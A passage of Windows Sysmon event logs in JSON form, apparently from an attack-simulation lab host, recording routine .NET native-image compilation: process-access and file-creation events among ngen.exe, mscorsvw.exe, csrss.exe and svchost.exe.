C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:55.559","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-432B-5F2D-0000-00106D511000}","TargetProcessId":"2980","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:56","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8145,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:57.432\r\nProcessGuid: {90617006-432B-5F2D-0000-00106D511000}\r\nProcessId: 2980\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\ba4-0\\System.Workflow.Runtime.dll\r\nCreationUtcTime: 2020-08-07 12:03:57.432","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:57.432","ProcessGuid":"{90617006-432B-5F2D-0000-00106D511000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\ba4-0\\System.Workflow.Runtime.dll","CreationUtcTime":"2020-08-07 12:03:57.432","EventReceivedTime":"2020-08-07 12:03:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8146,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:57.543\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FB-5F2D-0000-00103FFD0E00}\r\nTargetProcessId: 2864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:57.543","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FB-5F2D-0000-00103FFD0E00}","TargetProcessId":"2864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8147,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:57.543\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FB-5F2D-0000-00103FFD0E00}\r\nTargetProcessId: 2864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:57.543","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FB-5F2D-0000-00103FFD0E00}","TargetProcessId":"2864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8148,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:57.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-432D-5F2D-0000-00103E591000}\r\nTargetProcessId: 2864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:57.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-432D-5F2D-0000-00103E591000}","TargetProcessId":"2864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8149,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:57.713\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4318-5F2D-0000-00107AA90F00}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:57.713","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4318-5F2D-0000-00107AA90F00}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8150,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:57.713\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4318-5F2D-0000-00107AA90F00}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:57.713","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4318-5F2D-0000-00107AA90F00}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8151,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:57.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4318-5F2D-0000-00107AA90F00}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:57.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4318-5F2D-0000-00107AA90F00}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8152,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:58.776\r\nProcessGuid: {90617006-432D-5F2D-0000-0010FE5D1000}\r\nProcessId: 4180\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1054-0\\System.WorkflowServices.dll\r\nCreationUtcTime: 2020-08-07 12:03:58.776","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:58.776","ProcessGuid":"{90617006-432D-5F2D-0000-0010FE5D1000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1054-0\\System.WorkflowServices.dll","CreationUtcTime":"2020-08-07 12:03:58.776","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8153,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:58.916\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-0010F4B50E00}\r\nTargetProcessId: 2584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.